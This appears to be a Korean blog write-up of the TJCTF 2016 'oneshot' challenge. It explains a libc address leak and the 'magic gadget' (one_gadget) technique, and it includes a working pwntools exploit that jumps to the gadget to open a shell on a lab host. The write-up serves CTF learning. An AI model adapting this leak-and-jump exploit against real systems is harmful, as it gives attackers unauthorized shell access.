본문 바로가기

ctf

[TJCTF 2016 CTF] oneshot

# file oneshot

oneshot: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped

[*] '/ctf/oneshot'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX가 걸린 64bit 바이너리이다.

 

바이너리는 엄청 짧다.. 간단히 설명하자면,

&v4 의 주소에 어떤 주소를 넣으면, 해당 주소의 값을 출력해준다. 그리고 한 번 더 &v4 를 입력받을 때 원하는 주소를 입력해주면 해당 주소로 점프한다.

처음에 문제 풀면서 puts, printf 와 같은 함수의 libc 주소의 offset을 알아내서 어떤 라이브러리를 사용하는지 알아냈다. 그리고 offset 을 이용해 다른 함수의 주소 등을 알 수 있다.

 

분석은 너무나도 쉬웠지만.. 어떤식으로 공격해야할지 상당히 고민을 많이 했다.

고민 끝에 배운 것은 magic gadget(oneshot gadget 이라고도 불림) 이다.

 

 

※ magic gadget 이란

execve() 함수 안에 "/bin/sh"를 호출해주는 부분이 존재하는데, magic gadget 은 바로 이 부분을 지칭한다. 이 부분을 찾기 위해서는 라이브러리에서 찾아보면된다..

우리는 libc 기본 주소만 알고 있다면 offset을 통해 해당 부분을 호출하여 쉘을 얻을 수 있다. 그렇기에 "magic gadget" 이라고 한다. 하지만 magic gadget은 로컬과 xinetd로 돌아가는 서비스에서만 가능하다.

 

따라서, 점프 위치를 입력받을 때 해당 주소를 입력하여 호출한다면 쉘을 얻을 것이다.

 

# exploit

 

from pwn import *

 

binary = ELF('./oneshot')

p = remote('192.168.127.163', 7778)

puts_offset = 0x6fe30
magic_offset = 0xe681d


print p.recvuntil('Read location?')

p.sendline(str(binary.got['puts']))
data = p.recvuntil('Jump location?')

puts_libc = int(data[10:26], 16)
magic = puts_libc - puts_offset + magic_offset

print data
log.info('magic address = ' + hex(magic))


p.sendline(str(magic) + '\n')

p.interactive()

'ctf' 카테고리의 다른 글

[pwnable.tw] start  (0) 2017.02.06
[Christmas 2016 CTF] solo  (0) 2017.02.04
[SECCON 2016 CTF] checker  (0) 2017.01.18
[WITHCON 2016 CTF] malloc  (0) 2017.01.17
[Defcamp 2016 CTF] warm_heap  (0) 2017.01.14